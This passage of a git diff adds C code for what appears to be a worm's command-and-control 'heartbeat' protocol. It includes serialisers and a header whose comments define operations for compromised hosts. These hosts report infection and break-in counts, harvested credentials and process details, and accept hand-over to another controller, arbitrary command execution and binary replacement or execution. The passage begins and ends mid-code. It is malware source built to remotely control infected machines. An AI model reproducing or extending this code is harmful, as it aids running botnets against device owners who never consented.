in->boot_id[12]; + mem[29] = in->boot_id[13]; + mem[30] = in->boot_id[14]; + mem[31] = in->boot_id[15]; + + mem[32] = in->instance_id[0]; + mem[33] = in->instance_id[1]; + mem[34] = in->instance_id[2]; + mem[35] = in->instance_id[3]; + mem[36] = in->instance_id[4]; + mem[37] = in->instance_id[5]; + mem[38] = in->instance_id[6]; + mem[39] = in->instance_id[7]; + mem[40] = in->instance_id[8]; + mem[41] = in->instance_id[9]; + mem[42] = in->instance_id[10]; + mem[43] = in->instance_id[11]; + mem[44] = in->instance_id[12]; + mem[45] = in->instance_id[13]; + mem[46] = in->instance_id[14]; + mem[47] = in->instance_id[15]; + + mem[48] = (uint8_t)((in->parent_uptime & 0xFF00000000000000) >> 56); + mem[49] = (uint8_t)((in->parent_uptime & 0x00FF000000000000) >> 48); + mem[50] = (uint8_t)((in->parent_uptime & 0x0000FF0000000000) >> 40); + mem[51] = (uint8_t)((in->parent_uptime & 0x000000FF00000000) >> 32); + mem[52] = (uint8_t)((in->parent_uptime & 0x00000000FF000000) >> 24); + mem[53] = (uint8_t)((in->parent_uptime & 0x0000000000FF0000) >> 16); + mem[54] = (uint8_t)((in->parent_uptime & 0x000000000000FF00) >> 8); + mem[55] = (uint8_t)((in->parent_uptime & 0x00000000000000FF) >> 0); + + mem[56] = (uint8_t)((in->child_uptime & 0xFF00000000000000) >> 56); + mem[57] = (uint8_t)((in->child_uptime & 0x00FF000000000000) >> 48); + mem[58] = (uint8_t)((in->child_uptime & 0x0000FF0000000000) >> 40); + mem[59] = (uint8_t)((in->child_uptime & 0x000000FF00000000) >> 32); + mem[60] = (uint8_t)((in->child_uptime & 0x00000000FF000000) >> 24); + mem[61] = (uint8_t)((in->child_uptime & 0x0000000000FF0000) >> 16); + mem[62] = (uint8_t)((in->child_uptime & 0x000000000000FF00) >> 8); + mem[63] = (uint8_t)((in->child_uptime & 0x00000000000000FF) >> 0); + + mem[64] = (uint8_t)((in->rerun_cnt & 0xFF00000000000000) >> 56); + mem[65] = (uint8_t)((in->rerun_cnt & 0x00FF000000000000) >> 48); + mem[66] = (uint8_t)((in->rerun_cnt & 0x0000FF0000000000) >> 40); + mem[67] = (uint8_t)((in->rerun_cnt & 0x000000FF00000000) >> 32); + mem[68] = (uint8_t)((in->rerun_cnt & 0x00000000FF000000) >> 24); + mem[69] = (uint8_t)((in->rerun_cnt & 0x0000000000FF0000) >> 16); + mem[70] = (uint8_t)((in->rerun_cnt & 0x000000000000FF00) >> 8); + mem[71] = (uint8_t)((in->rerun_cnt & 0x00000000000000FF) >> 0); + + mem[72] = (uint8_t)((in->bne_cnt & 0xFF00000000000000) >> 56); + mem[73] = (uint8_t)((in->bne_cnt & 0x00FF000000000000) >> 48); + mem[74] = (uint8_t)((in->bne_cnt & 0x0000FF0000000000) >> 40); + mem[75] = (uint8_t)((in->bne_cnt & 0x000000FF00000000) >> 32); + mem[76] = (uint8_t)((in->bne_cnt & 0x00000000FF000000) >> 24); + mem[77] = (uint8_t)((in->bne_cnt & 0x0000000000FF0000) >> 16); + mem[78] = (uint8_t)((in->bne_cnt & 0x000000000000FF00) >> 8); + mem[79] = (uint8_t)((in->bne_cnt & 0x00000000000000FF) >> 0); + + mem[80] = (uint8_t)((in->infect_cnt & 0xFF00000000000000) >> 56); + mem[81] = (uint8_t)((in->infect_cnt & 0x00FF000000000000) >> 48); + mem[82] = (uint8_t)((in->infect_cnt & 0x0000FF0000000000) >> 40); + mem[83] = (uint8_t)((in->infect_cnt & 0x000000FF00000000) >> 32); + mem[84] = (uint8_t)((in->infect_cnt & 0x00000000FF000000) >> 24); + mem[85] = (uint8_t)((in->infect_cnt & 0x0000000000FF0000) >> 16); + mem[86] = (uint8_t)((in->infect_cnt & 0x000000000000FF00) >> 8); + mem[87] = (uint8_t)((in->infect_cnt & 0x00000000000000FF) >> 0); + + mem[88] = (uint8_t)((in->parent_pid & 0xFF000000) >> 24); + mem[89] = (uint8_t)((in->parent_pid & 0x00FF0000) >> 16); + mem[90] = (uint8_t)((in->parent_pid & 0x0000FF00) >> 8); + mem[91] = (uint8_t)((in->parent_pid & 0x000000FF) >> 0); + + mem[92] = (uint8_t)((in->child_pid & 0xFF000000) >> 24); + mem[93] = (uint8_t)((in->child_pid & 0x00FF0000) >> 16); + mem[94] = (uint8_t)((in->child_pid & 0x0000FF00) >> 8); + mem[95] = (uint8_t)((in->child_pid & 0x000000FF) >> 0); + + mem[96] = (uint8_t)((in->cred_size & 0xFF00) >> 8); + mem[97] = (uint8_t)((in->cred_size & 0x00FF) >> 0); + + mem[98] = (uint8_t)in->arch; + + memcpy(mem + 99, in->cred, in->cred_size); + + return PRNE_HTBT_SER_RC_OK; +} + +prne_htbt_ser_rc_t prne_htbt_ser_cmd (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_cmd_t *in) { + if (in->mem_len > 0) { + if (in->mem_len > PRNE_HTBT_ARG_MEM_MAX || in->argc == 0 || in->mem[in->mem_len - 1] != 0) { + return PRNE_HTBT_SER_RC_FMT_ERR; + } + } + *actual = in->mem_len + 2; + + if (mem_len < *actual) { + return PRNE_HTBT_SER_RC_MORE_BUF; + } + + mem[0] = (uint8_t)((in->mem_len & 0xFF00) >> 8); + mem[1] = (uint8_t)((in->mem_len & 0x00FF) >> 0); + memcpy(mem + 2, in->mem, in->mem_len); + + return PRNE_HTBT_SER_RC_OK; +} + +prne_htbt_ser_rc_t prne_htbt_ser_bin_meta (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_bin_meta_t *in) { + *actual = in->cmd.mem_len + 5; + + if (mem_len < *actual) { + return PRNE_HTBT_SER_RC_MORE_BUF; + } + + mem[0] = (uint8_t)((in->bin_size & 0xFF0000) >> 16); + mem[1] = (uint8_t)((in->bin_size & 0x00FF00) >> 8); + mem[2] = (uint8_t)((in->bin_size & 0x0000FF) >> 0); + mem[3] = (uint8_t)((in->cmd.mem_len & 0xFF00) >> 8); + mem[4] = (uint8_t)((in->cmd.mem_len & 0x00FF) >> 0); + memcpy(mem + 5, in->cmd.mem, in->cmd.mem_len); + + return PRNE_HTBT_SER_RC_OK; +} + + +prne_htbt_ser_rc_t prne_htbt_dser_msg_head (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_msg_head_t *out) { + *actual = 3; + + if (len < *actual) { + return PRNE_HTBT_SER_RC_MORE_BUF; + } + + out->id = (((uint_fast16_t)data[0] & 0x7F) << 8) | ((uint_fast16_t)data[1] << 0); + out->op = (uint8_t)data[2]; + out->is_rsp = (data[0] & 0x80) == 0; + + return PRNE_HTBT_SER_RC_OK; +} + +prne_htbt_ser_rc_t prne_htbt_dser_status (uint8_t *data, const size_t len, size_t *actual, prne_htbt_status_t *out) { + *actual = 5; + + if (len < *actual) { + return PRNE_HTBT_SER_RC_MORE_BUF; + } + + out->code = (prne_htbt_status_code_t)data[0]; + out->err = (int32_t) + (((uint_fast32_t)data[1] << 24) | + ((uint_fast32_t)data[2] << 16) | + ((uint_fast32_t)data[3] << 8) | + ((uint_fast32_t)data[4] << 0)); + + return PRNE_HTBT_SER_RC_OK; +} + +prne_htbt_ser_rc_t prne_htbt_dser_host_info (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_host_info_t *out) { + uint_fast16_t cred_size; + + *actual = 99; + + if (len < *actual) { + return PRNE_HTBT_SER_RC_MORE_BUF; + } + + cred_size = ((uint_fast16_t)data[96] << 8) | ((uint_fast16_t)data[97] << 0); + *actual += cred_size; + if (len < *actual) { + return PRNE_HTBT_SER_RC_MORE_BUF; + } + + prne_htbt_free_host_info(out); + if (!prne_htbt_alloc_host_info(out, cred_size)) { + return PRNE_HTBT_SER_RC_ERRNO; + } + + out->prog_ver[0] = data[0]; + out->prog_ver[1] = data[1]; + out->prog_ver[2] = data[2]; + out->prog_ver[3] = data[3]; + out->prog_ver[4] = data[4]; + out->prog_ver[5] = data[5]; + out->prog_ver[6] = data[6]; + out->prog_ver[7] = data[7]; + out->prog_ver[8] = data[8]; + out->prog_ver[9] = data[9]; + out->prog_ver[10] = data[10]; + out->prog_ver[11] = data[11]; + out->prog_ver[12] = data[12]; + out->prog_ver[13] = data[13]; + out->prog_ver[14] = data[14]; + out->prog_ver[15] = data[15]; + + out->boot_id[0] = data[16]; + out->boot_id[1] = data[17]; + out->boot_id[2] = data[18]; + out->boot_id[3] = data[19]; + out->boot_id[4] = data[20]; + out->boot_id[5] = data[21]; + out->boot_id[6] = data[22]; + out->boot_id[7] = data[23]; + out->boot_id[8] = data[24]; + out->boot_id[9] = data[25]; + out->boot_id[10] = data[26]; + out->boot_id[11] = data[27]; + out->boot_id[12] = data[28]; + out->boot_id[13] = data[29]; + out->boot_id[14] = data[30]; + out->boot_id[15] = data[31]; + + out->instance_id[0] = data[32]; + out->instance_id[1] = data[33]; + out->instance_id[2] = data[34]; + out->instance_id[3] = data[35]; + out->instance_id[4] = data[36]; + out->instance_id[5] = data[37]; + out->instance_id[6] = data[38]; + out->instance_id[7] = data[39]; + out->instance_id[8] = data[40]; + out->instance_id[9] = data[41]; + out->instance_id[10] = data[42]; + out->instance_id[11] = data[43]; + out->instance_id[12] = data[44]; + out->instance_id[13] = data[45]; + out->instance_id[14] = data[46]; + out->instance_id[15] = data[47]; + + out->parent_uptime = + ((uint_fast64_t)data[48] << 56) | + ((uint_fast64_t)data[49] << 48) | + ((uint_fast64_t)data[50] << 40) | + ((uint_fast64_t)data[51] << 32) | + ((uint_fast64_t)data[52] << 24) | + ((uint_fast64_t)data[53] << 16) | + ((uint_fast64_t)data[54] << 8) | + ((uint_fast64_t)data[55] << 0); + + out->child_uptime = + ((uint_fast64_t)data[56] << 56) | + ((uint_fast64_t)data[57] << 48) | + ((uint_fast64_t)data[58] << 40) | + ((uint_fast64_t)data[59] << 32) | + ((uint_fast64_t)data[60] << 24) | + ((uint_fast64_t)data[61] << 16) | + ((uint_fast64_t)data[62] << 8) | + ((uint_fast64_t)data[63] << 0); + + out->rerun_cnt = + ((uint_fast64_t)data[64] << 56) | + ((uint_fast64_t)data[65] << 48) | + ((uint_fast64_t)data[66] << 40) | + ((uint_fast64_t)data[67] << 32) | + ((uint_fast64_t)data[68] << 24) | + ((uint_fast64_t)data[69] << 16) | + ((uint_fast64_t)data[70] << 8) | + ((uint_fast64_t)data[71] << 0); + + out->bne_cnt = + ((uint_fast64_t)data[72] << 56) | + ((uint_fast64_t)data[73] << 48) | + ((uint_fast64_t)data[74] << 40) | + ((uint_fast64_t)data[75] << 32) | + ((uint_fast64_t)data[76] << 24) | + ((uint_fast64_t)data[77] << 16) | + ((uint_fast64_t)data[78] << 8) | + ((uint_fast64_t)data[79] << 0); + + out->infect_cnt = + ((uint_fast64_t)data[80] << 56) | + ((uint_fast64_t)data[81] << 48) | + ((uint_fast64_t)data[82] << 40) | + ((uint_fast64_t)data[83] << 32) | + ((uint_fast64_t)data[84] << 24) | + ((uint_fast64_t)data[85] << 16) | + ((uint_fast64_t)data[86] << 8) | + ((uint_fast64_t)data[87] << 0); + + out->parent_pid = + ((uint_fast32_t)data[88] << 24) | + ((uint_fast32_t)data[89] << 16) | + ((uint_fast32_t)data[90] << 8) | + ((uint_fast32_t)data[91] << 0); + + out->child_pid = + ((uint_fast32_t)data[92] << 24) | + ((uint_fast32_t)data[93] << 16) | + ((uint_fast32_t)data[94] << 8) | + ((uint_fast32_t)data[95] << 0); + + out->cred_size = + ((uint_fast16_t)data[96] << 8) | + ((uint_fast16_t)data[97] << 0); + + out->arch = (prne_arch_t)data[98]; + + memcpy(out->cred, data + 99, cred_size); + + return PRNE_HTBT_SER_RC_OK; +} + +prne_htbt_ser_rc_t prne_htbt_dser_cmd (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_cmd_t *out) { + uint_fast16_t args_len, argc = 0; + char **args = NULL; + char *mem = NULL; + prne_htbt_ser_rc_t ret = PRNE_HTBT_SER_RC_OK; + size_t i, str_len; + char *ptr; + + *actual = 2; + if (len < *actual) { + return PRNE_HTBT_SER_RC_MORE_BUF; + } + + args_len = ((uint_fast16_t)data[0] << 8) | ((uint_fast16_t)data[1] << 0); + *actual += args_len; + + if (len < *actual) { + return PRNE_HTBT_SER_RC_MORE_BUF; + } + if (args_len > PRNE_HTBT_ARG_MEM_MAX || (args_len > 0 && data[args_len + 1] != 0)) { + return PRNE_HTBT_SER_RC_FMT_ERR; + } + + for (i = 0; i < args_len; i += 1) { + if (data[2 + i] == 0) { + argc += 1; + if (argc > PRNE_HTBT_ARGS_MAX) { + return PRNE_HTBT_SER_RC_FMT_ERR; + } + } + } + + args = (char**)prne_malloc(sizeof(char*), argc + 1); + mem = (char*)prne_malloc(1, args_len); + if (args == NULL || mem == NULL) { + ret = PRNE_HTBT_STATUS_ERRNO; + goto END; + } + + memcpy(mem, data + 2, args_len); + + ptr = mem; + for (i = 0; i < argc; i += 1) { + str_len = strlen(ptr); + args[i] = ptr; + ptr += str_len + 1; + } + args[argc] = NULL; + + prne_htbt_free_cmd(out); + out->mem = mem; + out->mem_len = args_len; + out->args = args; + out->argc = argc; + mem = NULL; + args = NULL; + +END: + prne_free(mem); + prne_free(args); + return ret; +} + +prne_htbt_ser_rc_t prne_htbt_dser_bin_meta (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_bin_meta_t *out) { + size_t chain_actual; + prne_htbt_ser_rc_t ret; + + *actual = 5; + if (len < *actual) { + return PRNE_HTBT_SER_RC_MORE_BUF; + } + ret = prne_htbt_dser_cmd(data + 3, len - 3, &chain_actual, &out->cmd); + if (ret != PRNE_HTBT_SER_RC_OK) { + return ret; + } + + *actual = chain_actual + 3; + out->bin_size = + ((uint_fast32_t)data[0] << 16) | + ((uint_fast32_t)data[1] << 8) | + ((uint_fast32_t)data[2] << 0); + + return PRNE_HTBT_SER_RC_OK; +} diff --git a/src/protocol.h b/src/protocol.h index bd5682c..fbc9dba 100644 --- a/src/protocol.h +++ b/src/protocol.h @@ -10,10 +10,12 @@ typedef struct prne_net_endpoint prne_net_endpoint_t; typedef struct prne_ip_addr prne_ip_addr_t; +typedef struct prne_host_cred prne_host_cred_t; +typedef struct prne_htbt_status prne_htbt_status_t; typedef struct prne_htbt_host_info prne_htbt_host_info_t; -typedef struct prne_htbt_pkt prne_htbt_pkt_t; +typedef struct prne_htbt_msg_head prne_htbt_msg_head_t; typedef struct prne_htbt_cmd prne_htbt_cmd_t; -typedef struct prne_htbt_bin_head prne_htbt_bin_head_t; +typedef struct prne_htbt_bin_meta prne_htbt_bin_meta_t; typedef enum { PRNE_ARCH_NONE = -1, @@ -52,74 +54,177 @@ struct prne_net_endpoint { uint16_t port; }; +struct prne_host_cred { + char *id; + char *pw; +}; + +/* All messages start with uint16_t 'msg_id', whose most significant bit is used +* to indicate whether the message is a initiation(1) or a response(0). +* 'msg_id' is a randomly generated by either end of connection. The value 0 is +* only valid for `PRNE_HTBT_OP_NOOP`(so that NOOP message is either 23 or 24 +* zeros over the wire). +* 'msg_id' is followed by uint8_t 'op', which holds a `prne_htbt_op_t` value. +* The length of data follows varies depending on 'op'. +*/ typedef enum { - PRNE_HTBT_OP_NONE, + PRNE_HTBT_OP_NONE = -1, - PRNE_HTBT_OP_PING, + /* NOOP(keep-alive message): followed by nothing + */ + PRNE_HTBT_OP_NOOP, + /* Operation Status + * Followed by: + * uint8_t code: prne_htbt_status_t + * int32_t err: errno value(used for `PRNE_HTBT_STATUS_ERRNO`) + */ + PRNE_HTBT_OP_STATUS, + /* Host Info Operation: followed by nothing + * + * The submissive end's response format: + * uint8_t prog_ver[16] + * uint8_t boot_id[16] + * uint8_t instance_id[16] + * uint64_t parent_uptime : in seconds + * uint64_t child_uptime : in seconds + * uint64_t rerun_cnt : rerun count + * uint64_t bne_cnt : break-and-entry count + * uint64_t infect_cnt : infect count ( <= 'bne_cnt') + * uint32_t parent_pid + * uint32_t child_pid + * uint16_t cred_size + * uint8_t arch : `prne_arch_t` value + * uint8_t cred[cred_size] + */ PRNE_HTBT_OP_HOST_INFO, + /* Hand Over Operation + * Upon reception of message, the submissive end should conclude + * the connection and get further instruction(op) from the host + * described in the message. + * + * Followed by: + * uint8_t addr_4[4] + * uint16_t port_4 + * uint8_t addr_6[16] + * uint16_t port_6 + */ PRNE_HTBT_OP_HOVER, + /* OP Solicit Operation: followed by nothing + * This op is used by the submissive end to solicit instruction(op) from + * the authoritive end. This op is used when the submissive end has + * connected to the authoritive end after having been instructed by + * the previous authoritive end(PRNE_HTBT_OP_HOVER). + */ + PRNE_HTBT_OP_SOLICIT, + /* Run Command Operation + * TODO + * + * Followed by + * uint16_t args_len : the length of 'args' + * char args[len] : the series of null-terminated string for exec*() + */ PRNE_HTBT_OP_RUN_CMD, + /* Binary Upgrade Operation + * TODO + * + * Followed by: + * uint24_t bin_len + * uint16_t args_len + * char args[args_len] + * uint8_t bin[bin_len] + */ PRNE_HTBT_OP_NY_BIN, + /* Run Binary Operation + * TODO + * + * Followed by: + * uint24_t bin_len + * uint16_t args_len + * char args[args_len] + * uint8_t bin[bin_len] + */ PRNE_HTBT_OP_RUN_BIN, NB_PRNE_HTBT_OP } prne_htbt_op_t; -PRNE_LIMIT_ENUM(prne_htbt_op_t, NB_PRNE_HTBT_OP, 0xFF); +PRNE_LIMIT_ENUM(prne_htbt_op_t, NB_PRNE_HTBT_OP, 0xFE); typedef enum { - PRNE_HTBT_RSPC_OK, - PRNE_HTBT_RSPC_PROTO_ERR, // followed by nothing - PRNE_HTBT_RSPC_OP_ERR, // followed by int32_t + PRNE_HTBT_STATUS_OK, + /* Protocol error detected. Mosts likely a format error. + * An int32_t that follows is not used. + */ + PRNE_HTBT_STATUS_PROTO_ERR, + /* An internal error occurred whilst processing request. + * Followed by int32_t which represents the errno set during the operation. + */ + PRNE_HTBT_STATUS_ERRNO, + /* Operation temporary unavailable. Try again later. + * When another authority is holding the resource. + * An int32_t that follows is not used. + */ + PRNE_HTBT_STATUS_AGAIN, - NB_PRNE_HTBT_RSPC -} prne_htbt_rspc_t; -PRNE_LIMIT_ENUM(prne_htbt_rspc_t, NB_PRNE_HTBT_RSPC, 0xFF); + NB_PRNE_HTBT_STATUS +} prne_htbt_status_code_t; +PRNE_LIMIT_ENUM(prne_htbt_status_code_t, NB_PRNE_HTBT_STATUS, 0xFF); typedef enum { - PRNE_HTBT_SER_RET_OK, - PRNE_HTBT_SER_RET_MORE_MEM, - PRNE_HTBT_SER_RET_FMT_ERR, -} prne_htbt_serialise_ret_t; + PRNE_HTBT_SER_RC_OK, + PRNE_HTBT_SER_RC_MORE_BUF, + PRNE_HTBT_SER_RC_ERRNO, + PRNE_HTBT_SER_RC_FMT_ERR, +} prne_htbt_ser_rc_t; // serialise result code -typedef enum { - PRNE_HTBT_DESER_RET_OK, - PRNE_HTBT_DESER_RET_MORE_DATA, - PRNE_HTBT_DESER_RET_MEM_ERR, - PRNE_HTBT_DESER_RET_FMT_ERR, -} prne_htbt_deserialise_ret_t; - -struct prne_htbt_pkt { - uint16_t id; // != 0 - uint8_t code; +struct prne_htbt_msg_head { + prne_htbt_op_t op; + uint16_t id; // != 0 (except NOOP) + bool is_rsp; +}; + +struct prne_htbt_status { + prne_htbt_status_code_t code; + int32_t err; }; struct prne_htbt_host_info { - char prog_ver[37]; - uint64_t uptime; + uint64_t parent_uptime; + uint64_t child_uptime; uint64_t rerun_cnt; uint64_t bne_cnt; uint64_t infect_cnt; - uint32_t god_pid; - uint32_t proone_pid; - uint8_t *cred_data; // (uint8_t)salt + ((uint8_t)id_len + (uint8_t)pw_len + str ...) - uint16_t cred_data_len; // < 1 + 2 + 255*2 + uint32_t parent_pid; + uint32_t child_pid; + uint8_t prog_ver[16]; + uint8_t boot_id[16]; + uint8_t instance_id[16]; + uint8_t *cred; + uint16_t cred_size; prne_arch_t arch; }; struct prne_htbt_cmd { char *mem; - size_t *offset_arr; - uint8_t argc; + size_t mem_len; + char **args; + uint16_t argc; }; -struct prne_htbt_bin_head { - size_t bin_size; +struct prne_htbt_bin_meta { + uint32_t bin_size; prne_htbt_cmd_t cmd; }; -static const size_t PRNE_HTBT_PROTO_MIN_BUF = 0; -static const uint16_t PRNE_HTBT_PROTO_PORT = 0; -static const size_t PRNE_HTBT_PROTO_TIMEOUT = 0; +typedef void(prne_htbt_init_ft)(void *ptr); +typedef void(prne_htbt_free_ft)(const void *ptr); +typedef bool(prne_htbt_eq_ft)(const void *a, const void *b); +typedef prne_htbt_ser_rc_t(prne_htbt_ser_ft)(uint8_t *mem, const size_t mem_len, size_t *actual, const void *in); +typedef prne_htbt_ser_rc_t(prne_htbt_dser_ft)(const uint8_t *data, const size_t len, size_t *actual, void *out); + +#define PRNE_HTBT_PROTO_MIN_BUF ((size_t)3 + 99 + 3 + 255 + 255) // PRNE_HTBT_OP_HOST_INFO +#define PRNE_HTBT_PROTO_PORT (uint16_t)64420 +#define PRNE_HTBT_ARGS_MAX 1024 // _POSIX_ARG_MAX equiv +#define PRNE_HTBT_ARG_MEM_MAX 4096 // bash limit const char *prne_arch_tostr (const prne_arch_t x); @@ -130,26 +235,44 @@ void prne_net_ep_tosin6 (const prne_net_endpoint_t *ep, struct sockaddr_in6 *out bool prne_net_ep_set_ipv4 (const char *str, const uint16_t port, prne_net_endpoint_t *out); bool prne_net_ep_set_ipv6 (const char *str, const uint16_t port, prne_net_endpoint_t *out); -void prne_htbt_init_pkt (prne_htbt_pkt_t *pkt); -void prne_htbt_init_host_into (prne_htbt_host_info_t *hi); -void prne_htbt_alloc_host_into (prne_htbt_host_info_t *hi, const uint16_t cred_data_len); -void prne_htbt_free_host_into (prne_htbt_host_info_t *hi); -void prne_htbt_init_cmd (prne_htbt_cmd_t *cmt); -void prne_htbt_alloc_cmd (prne_htbt_cmd_t *cmt, const uint8_t argc, const uint16_t total_str_len); -void prne_htbt_free_cmd (prne_htbt_cmd_t *cmt); -void prne_htbt_init_bin_head (prne_htbt_bin_head_t *nb); -void prne_htbt_free_bin_head (prne_htbt_bin_head_t *nb); - -// prne_htbt_serialise_ret_t prne_htbt_serialise_ (uint8_t *mem, const size_t mem_len, size_t *actual, const something_t *in); -prne_htbt_serialise_ret_t prne_htbt_serialise_pkt (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_pkt_t *in); -prne_htbt_serialise_ret_t prne_htbt_serialise_host_info (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_host_info_t *in); -prne_htbt_serialise_ret_t prne_htbt_serialise_int32 (uint8_t *mem, const size_t mem_len, size_t *actual, const int32_t in); -prne_htbt_serialise_ret_t prne_htbt_serialise_cmd (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_cmd_t *in); -prne_htbt_serialise_ret_t prne_htbt_serialise_bin_head (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_bin_head_t *in); - -// prne_htbt_deserialise_ret_t prne_htbt_deserialise_ (const uint8_t *data, const size_t len, size_t *actual, something_t *out); -prne_htbt_deserialise_ret_t prne_htbt_deserialise_pkt (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_pkt_t *out); -prne_htbt_deserialise_ret_t prne_htbt_deserialise_host_info (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_host_info_t *out); -prne_htbt_deserialise_ret_t prne_htbt_deserialise_int32 (const uint8_t *data, const size_t len, size_t *actual, int32_t *out); -prne_htbt_deserialise_ret_t prne_htbt_deserialise_cmd (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_cmd_t *out); -prne_htbt_deserialise_ret_t prne_htbt_deserialise_bin_head (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_bin_head_t *out); +void prne_htbt_init_msg_head (prne_htbt_msg_head_t *mh); +void prne_htbt_free_msg_head (prne_htbt_msg_head_t *mh); +bool prne_htbt_eq_msg_head (const prne_htbt_msg_head_t *a, const prne_htbt_msg_head_t *b); + +void prne_htbt_init_status (prne_htbt_status_t *s); +void prne_htbt_free_status (prne_htbt_status_t *s); +bool prne_htbt_eq_status (const prne_htbt_status_t *a, const prne_htbt_status_t *b); + +void prne_init_host_cred (prne_host_cred_t *hc); +bool prne_alloc_host_cred (prne_host_cred_t *hc, const uint8_t id_len, const uint8_t pw_len); +void prne_free_host_cred (prne_host_cred_t *hc); +bool prne_eq_host_cred (const prne_host_cred_t *a, const prne_host_cred_t *b); +prne_htbt_ser_rc_t prne_enc_host_cred (uint8_t *data, const size_t len, size_t *actual, const uint8_t salt, const prne_host_cred_t *in); +prne_htbt_ser_rc_t prne_dec_host_cred (const uint8_t *data, const size_t len, prne_host_cred_t *out); + +void prne_htbt_init_host_info (prne_htbt_host_info_t *hi); +bool prne_htbt_alloc_host_info (prne_htbt_host_info_t *hi, const size_t cred_size); +void prne_htbt_free_host_info (prne_htbt_host_info_t *hi); +bool prne_htbt_eq_host_info (const prne_htbt_host_info_t *a, const prne_htbt_host_info_t *b); + +void prne_htbt_init_cmd (prne_htbt_cmd_t *cmd); +bool prne_htbt_alloc_cmd (prne_htbt_cmd_t *cmd, const uint16_t argc, const size_t *args_len); +bool prne_htbt_set_cmd (prne_htbt_cmd_t *cmd, char **const args); +void prne_htbt_free_cmd (prne_htbt_cmd_t *cmd); +bool prne_htbt_eq_cmd (const prne_htbt_cmd_t *a, const prne_htbt_cmd_t *b); + +void prne_htbt_init_bin_meta (prne_htbt_bin_meta_t *nb); +void prne_htbt_free_bin_meta (prne_htbt_bin_meta_t *nb); +bool prne_htbt_eq_bin_meta (const prne_htbt_bin_meta_t *a, const prne_htbt_bin_meta_t *b); + +prne_htbt_ser_rc_t prne_htbt_ser_msg_head (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_msg_head_t *in); +prne_htbt_ser_rc_t prne_htbt_ser_status (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_status_t *in); // TODO: test +prne_htbt_ser_rc_t prne_htbt_ser_host_info (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_host_info_t *in); +prne_htbt_ser_rc_t prne_htbt_ser_cmd (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_cmd_t *in); +prne_htbt_ser_rc_t prne_htbt_ser_bin_meta (uint8_t *mem, const size_t mem_len, size_t *actual, const prne_htbt_bin_meta_t *in); + +prne_htbt_ser_rc_t prne_htbt_dser_msg_head (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_msg_head_t *out); +prne_htbt_ser_rc_t prne_htbt_dser_status (uint8_t *data, const size_t len, size_t *actual, prne_htbt_status_t *out); +prne_htbt_ser_rc_t prne_htbt_dser_host_info (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_host_info_t *out); +prne_htbt_ser_rc_t prne_htbt_dser_cmd (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_cmd_t *out); +prne_htbt_ser_rc_t prne_htbt_dser_bin_meta (const uint8_t *data, const size_t len, size_t *actual, prne_htbt_bin_meta_t *out); diff --git a/src/resolv_worker.c b/src/resolv_worker.c index a178771..38135d9 100644 --- a/src/resolv_worker.c +++ b/src/resolv_worker.c @@ -120,7 +120,7 @@ static void resolv_free_q_ent (query_entry_t *q_ent) { } static bool resolv_gen_qname (const char *name, char **out, size_t *out_size) { - size_t len = strlen(name); + size_t len = prne_nstrlen(name); char *ptr = (char*)name, *delim; char *end = ptr + len; size_t label_size; @@ -145,7 +145,7 @@ static bool resolv_gen_qname (const char *name, char **out, size_t *out_size) { } } - ret_ptr = (char*)prne_malloc(1, len + 1); + ret_ptr = prne_alloc_str(len); if (ret_ptr == NULL) { return false; } diff --git a/src/util_rt.c b/src/util_rt.c index 21f1ff3..801f3dc 100644 --- a/src/util_rt.c +++ b/src/util_rt.c @@ -61,25 +61,54 @@ void prne_shutdown (const int fd, const int how) { } void *prne_malloc (const size_t se, const size_t cnt) { + size_t size; + if (SIZE_MAX / se < cnt) { errno = ENOMEM; return NULL; } - return malloc(cnt * se); + + size = cnt * se; + if (size == 0) { + return NULL; + } + + return malloc(size); } void *prne_realloc (void *ptr, const size_t se, const size_t cnt) { + size_t size; + if (SIZE_MAX / se < cnt) { errno = ENOMEM; return NULL; } - return realloc(ptr, se * cnt); + + size = cnt * se; + if (size == 0) { + prne_free(ptr); + return NULL; + } + + return realloc(ptr, size); } void *prne_calloc (const size_t se, const size_t cnt) { + if (se == 0 || cnt == 0) { + return NULL; + } + return calloc(se, cnt); } +char *prne_alloc_str (const size_t len) { + if (len == SIZE_MAX) { + errno = ENOMEM; + return NULL; + } + return (char*)prne_malloc(1, len + 1); +} + void prne_free (void *ptr) { free(ptr); } @@ -95,6 +124,20 @@ size_t prne_getpagesize (void) { return 4096; } +bool prne_nstreq (const char *a, const char *b) { + if (a == NULL && b == NULL) { + return true; + } + if (a == NULL || b == NULL) { + return false; + } + return strcmp(a, b) == 0; +} + +size_t prne_nstrlen (const char *s) { + return s == NULL ? 0 : strlen(s); +} + void prne_rnd_anum_str (mbedtls_ctr_drbg_context *rnd, char *str, const size_t len) { static const char SET[] = "qwertyuiopasdfghjklzxcvbnm0123456789"; size_t i = 0; @@ -153,6 +196,46 @@ size_t prne_str_shift_spaces (char *str, const size_t len) { return ret; } +bool prne_uuid_fromstr (const char *str, uint8_t *out) { + return sscanf(str, "%hhx%hhx%hhx%hhx-%hhx%hhx-%hhx%hhx-%hhx%hhx-%hhx%hhx%hhx%hhx%hhx%hhx", + &out[0], + &out[1], + &out[2], + &out[3], + &out[4], + &out[5], + &out[6], + &out[7], + &out[8], + &out[9], + &out[10], + &out[11], + &out[12], + &out[13], + &out[14], + &out[15]) == 16; +} + +bool prne_uuid_tostr (const uint8_t *in, const size_t out_size, char *out) { + return snprintf(out, out_size, 